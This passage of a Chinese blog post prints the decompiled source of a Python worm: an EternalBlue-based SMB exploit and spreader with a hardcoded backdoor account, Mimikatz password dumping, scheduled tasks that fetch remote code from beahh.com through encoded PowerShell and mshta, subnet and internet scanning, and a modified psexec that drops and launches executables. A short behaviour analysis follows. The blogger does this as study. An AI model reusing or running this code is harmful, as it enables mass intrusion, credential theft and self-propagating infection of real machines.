        semaphore1 = threading.BoundedSemaphore(value=255)
        semaphore = threading.BoundedSemaphore(value=threads_num)
        semaphore2 = threading.BoundedSemaphore(value=100)
    print_lock = threading.Lock()

    def print_status(ip, message):
        global print_lock
        with print_lock:
            print '[*] [%s] %s' % (ip, message)

    def check_ip(ip, tg):
        global verbose
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(float(timeout) if timeout else None)
        host = ip
        port = 445
        s.connect((host, port))
        if verbose:
            print_status(ip, 'Sending negotiation protocol request')
        s.send(NEGOTIATE_PROTOCOL_REQUEST)
        negotiate_reply = s.recv(1024)
        if len(negotiate_reply) < 36 or struct.unpack('<I', negotiate_reply[9:13])[0] != 0:
            with print_lock:
                print "[-] [%s] can't determine whether it's vulunerable" % ip
                return
        if verbose:
            print_status(ip, 'Sending session setup request')
        s.send(SESSION_SETUP_REQUEST)
        session_setup_response = s.recv(1024)
        user_id = session_setup_response[32:34]
        if verbose:
            print_st(ip, 'User ID = %s' % struct.unpack('<H', user_id)[0])
        os = ''
        word_count = ord(session_setup_response[36])
        if word_count != 0:
            byte_count = struct.unpack('<H', session_setup_response[43:45])[0]
            if len(session_setup_response) != byte_count + 45:
                print_status('invalid session setup AndX response')
            else:
                for i in range(46, len(session_setup_response) - 1):
                    if ord(session_setup_response[i]) == 0 and ord(session_setup_response[i + 1]) == 0:
                        os = session_setup_response[46:i].decode('utf-8')[::2]
                        break

        modified_tree_connect_request = list(TREE_CONNECT_REQUEST)
        modified_tree_connect_request[32] = user_id[0]
        modified_tree_connect_request[33] = user_id[1]
        modified_tree_connect_request = ('').join(modified_tree_connect_request)
        if verbose:
            print_status(ip, 'Sending tree connect')
        s.send(modified_tree_connect_request)
        tree_connect_response = s.recv(1024)
        tree_id = tree_connect_response[28:30]
        if verbose:
            print_status(ip, 'Tree ID = %s' % struct.unpack('<H', tree_id)[0])
        modified_trans2_session_setup = list(NAMED_PIPE_TRANS_REQUEST)
        modified_trans2_session_setup[28] = tree_id[0]
        modified_trans2_session_setup[29] = tree_id[1]
        modified_trans2_session_setup[32] = user_id[0]
        modified_trans2_session_setup[33] = user_id[1]
        modified_trans2_session_setup = ('').join(modified_trans2_session_setup)
        if verbose:
            print_status(ip, 'Sending named pipe')
        s.send(modified_trans2_session_setup)
        final_response = s.recv(1024)
        if final_response[9] == '\x05' and final_response[10] == '\x02' and final_response[11] == '\x00' and final_response[12] == '\xc0':
            print '[+] [%s](%s) got it!' % (ip, os)
            if 'Windows 7' in os:
                if scan(ip, 65533) == 0:
                    print '[+] exploit...' + ip + '   win7'
                    try:
                        exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
                    except:
                        print 'no user'
                        try:
                            exploit2(ip, sc, int(random.randint(5, 13)))
                            try:
                                print 'exp again '
                                exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
                            except:
                                print 'no user2'

                            lock2.release()
                        except:
                            print '[*] maybe crash'
                            time.sleep(6)
                            try:
                                print 'exp again '
                                exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
                            except:
                                print 'no user3'

                            lock2.release()

            elif 'Windows Server 2008' in os:
                if scan(ip, 65533) == 0:
                    print '[+] exploit...' + ip + '   win2k8'
                    try:
                        exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
                    except:
                        print 'no user'
                        try:
                            exploit3(ip, sc, int(random.randint(5, 13)))
                            try:
                                print 'exp again '
                                exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
                            except:
                                print 'no user 2'

                            lock3.release()
                        except:
                            print '[*] maybe crash'
                            time.sleep(6)
                            try:
                                print 'exp again '
                                exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
                            except:
                                print 'no user 3'

                            lock3.release()

            if 'Windows 5.1' in os:
                if scan(ip, 65533) == 0:
                    print '[+] exploit...' + ip + '   xp'
                    try:
                        exploit(ip, None, '', '', tg)
                    except:
                        print 'not succ'

            elif 'Windows Server 2003' in os:
                if scan(ip, 65533) == 0:
                    print '[+] exploit...' + ip + '   win2k3'
                    try:
                        exploit(ip, None, '', '', tg)
                    except:
                        print 'not succ'

            elif scan(ip, 65533) == 0:
                print '[+] exploit...' + ip + '   *************************other os'
                for u in userlist:
                    for p in passlist:
                        if u == '' and p != '':
                            continue
                        try:
                            exploit(ip, None, u, p, tg)
                        except:
                            print 'exp not succ!'

        else:
            print '[-] [%s](%s) stays in safety' % (ip, os)
        s.close()

    def check_thread(ip_address):
        global semaphore
        try:
            try:
                check_ip(ip_address, tg=1)
            except Exception as e:
                with print_lock:
                    tmp = 2

        finally:
            semaphore.release()

    def check_thread2(ip_address):
        try:
            try:
                check_ip(ip_address, tg=2)
            except Exception as e:
                with print_lock:
                    tmp = 2

        finally:
            semaphore.release()

    one = 1
    try:
        h_one = socket.socket()
        addr = ('', 60124)
        h_one.bind(addr)
        one = 1
    except:
        one = 2

    if one == 2:
        print 'alredy run eb'
        sys.exit()
    usr = subprocess.Popen('cmd /c net user&netsh advfirewall set allprofile state on&netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445', stdout=subprocess.PIPE)
    dusr = usr.stdout.read()
    if 'k8h3d' in dusr:
        usr = subprocess.Popen('cmd /c net user k8h3d /del', stdout=subprocess.PIPE)
    dl = ''
    ee2 = ''
    if os.path.exists('c:/windows/system32/svhost.exe'):
        dl = 'c:\\windows\\system32\\svhost.exe'
    if os.path.exists('c:/windows/SysWOW64/svhost.exe'):
        dl = 'c:\\windows\\SysWOW64\\svhost.exe'
    if os.path.exists('c:/windows/system32/drivers/svchost.exe'):
        dl = 'c:\\windows\\system32\\drivers\\svchost.exe'
    if os.path.exists('c:/windows/SysWOW64/drivers/svchost.exe'):
        dl = 'c:\\windows\\SysWOW64\\drivers\\svchost.exe'
    if os.path.exists('c:/windows/temp/svvhost.exe'):
        ee2 = 'c:\\windows\\temp\\svvhost.exe'
    if os.path.exists('c:/windows/temp/svchost.exe'):
        ee2 = 'c:\\windows\\temp\\svchost.exe'
    if os.path.exists('C:\\windows\\system32\\WindowsPowerShell\\'):
        usr0 = subprocess.Popen('cmd /c schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr "C:\\Windows\\temp\\svchost.exe" /F', stdout=subprocess.PIPE)
        usr1 = subprocess.Popen('cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F', stdout=subprocess.PIPE)

    def mmka():
        global domainlist
        global passlist
        global userlist2
        if os.path.exists('C:\\windows\\system32\\WindowsPowerShell\\'):
            if os.path.exists('c:/windows/temp/m.ps1'):
                if os.path.exists('c:/windows/temp/mkatz.ini'):
                    print 'mkatz.ini exist'
                    mtime = os.path.getmtime('c:\\windows\\temp\\mkatz.ini')
                    mnow = int(time.time())
                    if (mnow - mtime) / 60 / 60 < 24:
                        musr = open('c:\\windows\\temp\\mkatz.ini', 'r').read()
                    else:
                        print 'reload mimi'
                        if 'PROGRAMFILES(X86)' in os.environ:
                            usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
                        else:
                            usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
                        musr = usr.stdout.read()
                        fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
                        fmk.write(musr)
                        fmk.close()
                else:
                    print 'reload mimi'
                    if 'PROGRAMFILES(X86)' in os.environ:
                        usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
                    else:
                        usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
                    musr = usr.stdout.read()
                    fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
                    fmk.write(musr)
                    fmk.close()
            else:
                fm = open('c:\\windows\\temp\\m.ps1', 'w')
                fm.write(mkatz)
                fm.close()
                if os.path.exists('c:/windows/temp/mkatz.ini'):
                    print 'mkatz.ini exist'
                    mtime = os.path.getmtime('c:\\windows\\temp\\mkatz.ini')
                    mnow = int(time.time())
                    if (mnow - mtime) / 60 / 60 < 24:
                        print 'reload mimi'
                        musr = open('c:\\windows\\temp\\mkatz.ini', 'r').read()
                    else:
                        print 'reload mimi'
                        if 'PROGRAMFILES(X86)' in os.environ:
                            usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
                        else:
                            usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
                        musr = usr.stdout.read()
                        fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
                        fmk.write(musr)
                        fmk.close()
                else:
                    print 'reload mimi'
                    if 'PROGRAMFILES(X86)' in os.environ:
                        usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
                    else:
                        usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
                    musr = usr.stdout.read()
                    fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
                    fmk.write(musr)
                    fmk.close()
        else:
            usr3 = subprocess.Popen('cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck)', stdout=subprocess.PIPE)
            usr4 = subprocess.Popen('cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autoscan /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autoscan /tr "C:\\Windows\\temp\\svchost.exe"&schtasks /run /TN Autoscan)', stdout=subprocess.PIPE)
        print 'mimi over'
        usern = ''
        lmhash = ''
        nthash = ''
        tspkg = ''
        wdigest = ''
        kerberos = ''
        domain = ''
        usernull = ''
        try:
            dousr = subprocess.Popen('cmd /c wmic ntdomain get domainname', stdout=subprocess.PIPE)
            domianusr = dousr.stdout.read()
            dousr = subprocess.Popen('cmd /c net user', stdout=subprocess.PIPE)
            luser = dousr.stdout.read().split('\r\n')[:-3]
            for c in luser:
                if '-' in c:
                    continue
                for j in c.split(' '):
                    if '' == j:
                        continue
                    if 'Guest' == j:
                        continue
                    userlist2.append(j.strip())

            if '* LM' in musr:
                mmlist = musr.split('* LM')
                del mmlist[0]
                for i in mmlist:
                    domaint = i.split('Domain   :')[1].split('\n')[0].strip()
                    if domaint in domianusr:
                        domainlist.append(domaint)
                    for ii in i.split('Authentication')[0].split('Username :')[1:]:
                        unt = ii.split('\n')[0].strip()
                        userlist2.append(unt)

                    for ii in i.split('Authentication')[0].split('Password :')[1:]:
                        pwdt = ii.split('\n')[0].strip()
                        if pwdt != '(null)':
                            passlist.append(pwdt)

                    passlist = list(set(passlist))
                    userlist2 = list(set(userlist2))
                    domainlist = list(set(domainlist))

            else:
                print 'nobody logon'
            if '* NTLM' in musr:
                mmlist = musr.split('* NTLM')
                del mmlist[0]
                for i in mmlist:
                    NThash = i.split(':')[1].split('\n')[0].strip()
                    ntlist.append(NThash)

        except:
            print 'except'

    mmka()
    var = 1
    while var == 1:
        print 'start scan'
        if '.exe' in dl:
            for network in find_ip():
                print network
                ip, cidr = network.split('/')
                cidr = int(cidr)
                host_bits = 32 - cidr
                i = struct.unpack('>I', socket.inet_aton(ip))[0]
                start = i >> host_bits << host_bits
                end = i | (1 << host_bits) - 1
                for i in range(start + 1, end):
                    semaphore1.acquire()
                    ip = socket.inet_ntoa(struct.pack('>I', i))
                    t1 = threading.Thread(target=scansmb, args=(ip, 445))
                    t1.start()

                time.sleep(1)

        print 'smb over  sleep 200s'
        time.sleep(5)
        if 'Windows-XP' in platform.platform():
            time.sleep(1000)
        else:
            print 'start scan2'
            if '.exe' in dl:
                for network in iplist2:
                    ip, cidr = network.split('/')
                    if ip.split('.')[0].strip() == '192':
                        continue
                    if ip.split('.')[0].strip() == '127':
                        continue
                    if ip.split('.')[0].strip() == '10':
                        continue
                    if ip.split('.')[0].strip() == '0':
                        continue
                    if ip.split('.')[0].strip() == '100':
                        continue
                    if ip.split('.')[0].strip() == '172':
                        continue
                    if int(ip.split('.')[0].strip()) in xrange(224, 256):
                        continue
                    print network
                    cidr = int(cidr)
                    host_bits = 32 - 16
                    i = struct.unpack('>I', socket.inet_aton(ip))[0]
                    start = i >> host_bits << host_bits
                    end = i | (1 << host_bits) - 1
                    for i in range(start + 1, end):
                        semaphore2.acquire()
                        ip = socket.inet_ntoa(struct.pack('>I', i))
                        t1 = threading.Thread(target=scansmb3, args=(ip, 445))
                        t1.start()

                    time.sleep(1)

            print 'smb over  sleep 200s'
            time.sleep(5)
            print 'eb2 internet'
            for s in xip(500):
                if s.split('.')[0].strip() == '127':
                    continue
                if s.split('.')[0].strip() == '10':
                    continue
                if s.split('.')[0].strip() == '0':
                    continue
                if s.split('.')[0].strip() == '100':
                    continue
                if s.split('.')[0].strip() == '172':
                    continue
                if int(s.split('.')[0].strip()) in xrange(224, 256):
                    continue
                print s
                ip, cidr = s.split('/')
                cidr = int(cidr)
                host_bits = 32 - cidr
                i = struct.unpack('>I', socket.inet_aton(ip))[0]
                start = i >> host_bits << host_bits
                end = i | (1 << host_bits) - 1
                for i in range(start + 1, end):
                    semaphore1.acquire()
                    ip = socket.inet_ntoa(struct.pack('>I', i))
                    t1 = threading.Thread(target=scansmb2, args=(ip, 445))
                    t1.start()

                time.sleep(2)

            print 'eb2 over'
            print 'sleep 10min'
            time.sleep(5)
        mmka()

    # global h_one ## Warning: Unused global

里面有两个不是公开的库，mysmb和psexec，其中mysmb看起来是永恒之蓝RCE中的代码，psexec有找到几个相似的但是没找到一样的，所以代码也放上来：

Show Code

    # uncompyle6 version 3.9.2
    # Python bytecode version base 2.7 (62211)
    # Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
    # [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
    # Embedded file name: psexec.py

    import sys, os, cmd, logging
    from threading import Thread, Lock
    import argparse, random, string, time
    from impacket.examples import logger
    from impacket import version, smb
    from impacket.smbconnection import SMBConnection
    from impacket.dcerpc.v5 import transport
    from impacket.structure import Structure
    from impacket.examples import remcomsvc, serviceinstall

    class RemComMessage(Structure):
        structure = (
         ('Command', '4096s=""'),
         ('WorkingDir', '260s=""'),
         ('Priority', '<L=0x20'),
         ('ProcessID', '<L=0x01'),
         ('Machine', '260s=""'),
         ('NoWait', '<L=0'))

    class RemComResponse(Structure):
        structure = (
         ('ErrorCode', '<L=0'),
         ('ReturnCode', '<L=0'))

    RemComSTDOUT = 'RemCom_stdout'
    RemComSTDIN = 'RemCom_stdin'
    RemComSTDERR = 'RemCom_stderr'
    lock = Lock()

    class RemoteShell(cmd.Cmd):

        def __init__(self, server, port, credentials, tid, fid, share, transport):
            cmd.Cmd.__init__(self, False)
            self.prompt = '\x08'
            self.server = server
            self.transferClient = None
            self.tid = tid
            self.fid = fid
            self.credentials = credentials
            self.share = share
            self.port = port
            self.transport = transport
            return

        def connect_transferClient(self):
            self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect)
            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
            if self.transport.get_kerberos() is True:
                self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
            else:
                self.transferClient.login(user, passwd, domain, lm, nt)

        def do_help(self, line):
            print '\n lcd {path}                 - changes the current local directory to {path}\n exit                       - terminates the server process (and this session)\n put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)\n get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir\n ! {cmd}                    - executes a local shell cmd\n' % (self.share, self.share)
            self.send_data('\r\n', False)

        def do_shell(self, s):
            os.system(s)
            self.send_data('\r\n')

        def do_get(self, src_path):
            try:
                if self.transferClient is None:
                    self.connect_transferClient()
                import ntpath
                filename = ntpath.basename(src_path)
                fh = open(filename, 'wb')
                logging.info('Downloading %s\\%s' % (self.share, src_path))
                self.transferClient.getFile(self.share, src_path, fh.write)
                fh.close()
            except Exception as e:
                logging.critical(str(e))

            self.send_data('\r\n')
            return

        def do_put(self, s):
            try:
                if self.transferClient is None:
                    self.connect_transferClient()
                params = s.split(' ')
                if len(params) > 1:
                    src_path = params[0]
                    dst_path = params[1]
                elif len(params) == 1:
                    src_path = params[0]
                    dst_path = '/'
                src_file = os.path.basename(src_path)
                fh = open(src_path, 'rb')
                f = dst_path + '/' + src_file
                print '!!!!!!!!!!!!!!!!' + f
                pathname = string.replace(f, '/', '\\')
                logging.info('Uploading1111111111 %s to %s\\%s' % (src_file, self.share, dst_path))
                self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
                fh.close()
            except Exception as e:
                logging.error(str(e))

            self.send_data('\r\n')
            return

        def do_lcd(self, s):
            if s == '':
                print os.getcwd()
            else:
                os.chdir(s)
            self.send_data('\r\n')

        def emptyline(self):
            self.send_data('\r\n')

        def default(self, line):
            self.send_data(line.decode(sys.stdin.encoding).encode('cp437') + '\r\n')

        def send_data(self, data, hideOutput=True):
            global LastDataSent
            if hideOutput is True:
                LastDataSent = data
            else:
                LastDataSent = ''
            self.server.writeFile(self.tid, self.fid, data)

    class Pipes(Thread):

        def __init__(self, transport, pipe, permissions, share=None):
            Thread.__init__(self)
            self.server = 0
            self.transport = transport
            self.credentials = transport.get_credentials()
            self.tid = 0
            self.fid = 0
            self.share = share
            self.port = transport.get_dport()
            self.pipe = pipe
            self.permissions = permissions
            self.daemon = True

        def connectPipe(self):
            try:
                self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect)
                user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
                if self.transport.get_kerberos() is True:
                    self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
                else:
                    self.server.login(user, passwd, domain, lm, nt)
                self.tid = self.server.connectTree('IPC$')
                self.server.waitNamedPipe(self.tid, self.pipe)
                self.fid = self.server.openFile(self.tid, self.pipe, self.permissions, creationOption=64, fileAttributes=128)
                self.server.setTimeout(1000)
            except:
                logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)

    class RemoteStdOutPipe(Pipes):

        def __init__(self, transport, pipe, permisssions):
            Pipes.__init__(self, transport, pipe, permisssions)

        def run(self):
            global LastDataSent
            self.connectPipe()
            return
            while True:
                try:
                    ans = self.server.readFile(self.tid, self.fid, 0, 1024)
                except:
                    pass
                else:
                    try:
                        if ans != LastDataSent:
                            sys.stdout.write(ans.decode('cp437'))
                            sys.stdout.flush()
                        else:
                            LastDataSent = ''
                        if LastDataSent > 10:
                            LastDataSent = ''
                    except:
                        pass

    class RemoteStdErrPipe(Pipes):

        def __init__(self, transport, pipe, permisssions):
            Pipes.__init__(self, transport, pipe, permisssions)

        def run(self):
            self.connectPipe()
            return
            while True:
                try:
                    ans = self.server.readFile(self.tid, self.fid, 0, 1024)
                except:
                    pass
                else:
                    try:
                        sys.stderr.write(str(ans))
                        sys.stderr.flush()
                    except:
                        pass

    class RemoteStdInPipe(Pipes):

        def __init__(self, transport, pipe, permisssions, share=None):
            self.shell = None
            Pipes.__init__(self, transport, pipe, permisssions, share)
            return

        def run(self):
            self.connectPipe()
            return
            self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport)
            self.shell.cmdloop()

    class StrReader:

        def __init__(self, str):
            self.__str = str

        def close(self):
            pass

        def read(self, size=1024):
            ret_str = self.__str[:size]
            self.__str = self.__str[size:]
            return ret_str

    class PSEXEC:
        KNOWN_PROTOCOLS = {'445/SMB': ('ncacn_np:%s[\\pipe\\svcctl]', 445)}

        def __init__(self, copyFile=None, exeFile=None, cmd='', username='', password='', domain='', fr='', hashes=None, aesKey=None, doKerberos=False):
            self.__username = username
            self.__password = password
            self.__protocols = PSEXEC.KNOWN_PROTOCOLS.keys()
            self.__command = cmd
            self.__domain = domain
            self.__fr = fr
            self.__lmhash = ''
            self.__nthash = ''
            self.__path = None
            self.__aesKey = aesKey
            self.__exeFile = exeFile
            self.__copyFile = copyFile
            self.__doKerberos = doKerberos
            if hashes is not None:
                self.__lmhash, self.__nthash = hashes.split(':')
            return

        def run(self, addr):
            for protocol in self.__protocols:
                protodef = PSEXEC.KNOWN_PROTOCOLS[protocol]
                port = protodef[1]
                logging.info('Trying protocol %s...\n' % protocol)
                stringbinding = protodef[0] % addr
                rpctransport = transport.DCERPCTransportFactory(stringbinding)
                rpctransport.set_dport(port)
                if hasattr(rpctransport, 'set_credentials'):
                    rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
                rpctransport.set_kerberos(self.__doKerberos)
                self.doStuff(rpctransport)

        def openPipe(self, s, tid, pipe, accessMask):
            pipeReady = False
            tries = 50
            while pipeReady is False and tries > 0:
                try:
                    s.waitNamedPipe(tid, pipe)
                    pipeReady = True
                except:
                    tries -= 1
                    time.sleep(2)

            if tries == 0:
                logging.critical('Pipe not ready, aborting')
                raise
            fid = s.openFile(tid, pipe, accessMask, creationOption=64, fileAttributes=128)
            return fid

        def connectPipe(rpctransport, pipe, permisssions):
            transport = rpctransport
            server = SMBConnection('*SMBSERVER', transport.get_smb_connection().getRemoteHost(), sess_port=transport.get_dport(), preferredDialect=dialect)
            user, passwd, domain, lm, nt, aesKey, TGT, TGS = transport.get_credentials()
            if transport.get_kerberos() is True:
                server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
            else:
                server.login(user, passwd, domain, lm, nt)
            tid = server.connectTree('IPC$')
            server.waitNamedPipe(tid, pipe)
            fid = self.server.openFile(tid, pipe, permissions, creationOption=64, fileAttributes=128)
            server.setTimeout(6000)
            return server

        def doStuff(self, rpctransport):
            global LastDataSent
            global dialect
            dce = rpctransport.get_dce_rpc()
            try:
                dce.connect()
            except Exception as e:
                return False

            dialect = rpctransport.get_smb_connection().getDialect()
            try:
                unInstalled = False
                s = rpctransport.get_smb_connection()
                s.setTimeout(30000)
                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
                installService.install()
                if self.__copyFile:
                    try:
                        installService.copy_file(self.__copyFile, installService.getShare(), 'temp\\svchost.exe')
                    except:
                        print 'file exist'

                tid = s.connectTree('IPC$')
                fid_main = self.openPipe(s, tid, '\\RemCom_communicaton', 1180063)
                packet = RemComMessage()
                pid = os.getpid()
                packet['Machine'] = ('').join([random.choice(string.letters) for _ in range(4)])
                packet['ProcessID'] = pid
                if self.__exeFile:
                    if self.__fr == '1':
                        installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\updll.exe')
                        self.__command = self.__command.replace('"', '""')
                        vbs_cmd = '\n    Set ws = CreateObject("WScript.Shell")\n    ws.Run "%s",0\n    Set ws = CreateObject("WScript.Shell")\n    ws.Run "..\\\\temp\\\\updll.exe",0                  \n                    ' % self.__command
                    elif self.__fr == '3':
                        installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\setup-install.exe')
                        self.__command = self.__command.replace('"', '""')
                        vbs_cmd = '\n    Set ws = CreateObject("WScript.Shell")\n    ws.Run "%s",0\n    Set ws = CreateObject("WScript.Shell")\n    ws.Run "..\\\\temp\\\\setup-install.exe",0                  \n                    ' % self.__command
                    else:
                        installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\upinstalled.exe')
                        self.__command = self.__command.replace('"', '""')
                        vbs_cmd = '\n    Set ws = CreateObject("WScript.Shell")\n    ws.Run "%s",0\n    Set ws = CreateObject("WScript.Shell")\n    ws.Run "..\\\\temp\\\\upinstalled.exe",0                  \n                    ' % self.__command
                    installService.copy_file(StrReader(vbs_cmd.strip()), installService.getShare(), 'temp\\tmp.vbs')
                    self.__command = 'cmd /c call "c:\\windows\\temp\\tmp.vbs"'
                packet['Command'] = self.__command
                print self.__command
                s.writeNamedPipe(tid, fid_main, str(packet))
                LastDataSent = ''
                stdin_pipe = RemoteStdInPipe(rpctransport, '\\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare())
                stdin_pipe.start()
                stdout_pipe = RemoteStdOutPipe(rpctransport, '\\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA)
                stdout_pipe.start()
                stderr_pipe = RemoteStdErrPipe(rpctransport, '\\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA)
                stderr_pipe.start()
                time.sleep(1)
                installService.uninstall()
                s.deleteFile(installService.getShare(), 'temp\\tmp.vbs')
                unInstalled = True
                return True
            except SystemExit:
                return False
            except:
                if unInstalled is False:
                    time.sleep(1)
                    installService.uninstall()
                    s.deleteFile(installService.getShare(), 'temp\\tmp.vbs')
                return False

#
行为分析

那这个代码都干了些什么呢？首先动态分析一下吧，我用微步云沙箱检查了一下，不过好像有人已经上传过了，这个是报告。好像也没啥特别的，先给445端口开了个防火墙，估计是防止其他人利用永恒之蓝入侵，然后整了几个请求几个“beahh.com”域名的定时任务，另外就是同网段扫描啥的，应该是找其他机器继续尝试用漏洞入侵感染这个木马。

之后再看看代码，干的基本上确实是这些事情，主要就是利用永恒之蓝漏洞然后各种扫描，似乎有创假的系统用户的操作，不过没太看懂，扫描的时候除了用漏洞和弱密码之外好像还用了个“k8h3d:k8d3j9SjfS7”的用户？这是连别家的僵尸网络的节点吧，入侵完还给它删了🤣，还有加定时任务，然后用mimikatz把这台机器的密码存到“c:\windows\temp\mkatz.ini”这个文件里，扫描的时候也使用这里获取的密码，可能是考虑有些集群全都用一样的用户名和密码吧。木马的作者应该会利用那些定时任务发布指令，有可能会把密码拿走或者干别的事情吧。

不过定时任务里写的那个地址已经访问不到了（就连获取IP的接口也请求不通了），我在网上搜了一下看行为应该是这个搞门罗币挖矿的木马，代码里没有体现，有可能是那个域名对应的远控服务器干的。不过这篇文章是2019年的，估计作者已经进去了吧，所以访问不到服务器😂，但是5年过去了，他的木马还在忠实的为他寻找肉鸡并等待他发布指令😭，这就是僵尸网络的魅力吧。

#
感想

用Python写的木马也挺有意思啊，这个代码中用到“impacket”库我还是头一次了解，看起来可以封装各种各样的网络包，感觉说不定会有项目能用得上，看这个代码也是学到了啊……

如果我能有属于自己的僵尸网络能不能让我的项目永存呢？不过这些感染了木马的老服务器总有一天会被淘汰掉，新的服务器肯定不会装Windows Server 2008这样超老的系统 （我除外🤣） ，而且现在新的系统漏洞越来越少了，想要出现像当年永恒之蓝那样的漏洞估计不太可能了，在未来估计就不会存在僵尸网络了……所以这还是做不到永存啊……

tags: Python - 木马 - 病毒 查看原始文件

#### 推荐文章

Loading...

上一篇：Linux ARM生态评测
下一篇：关于OS模拟器的探索
想问这篇文章
召唤伊斯特瓦尔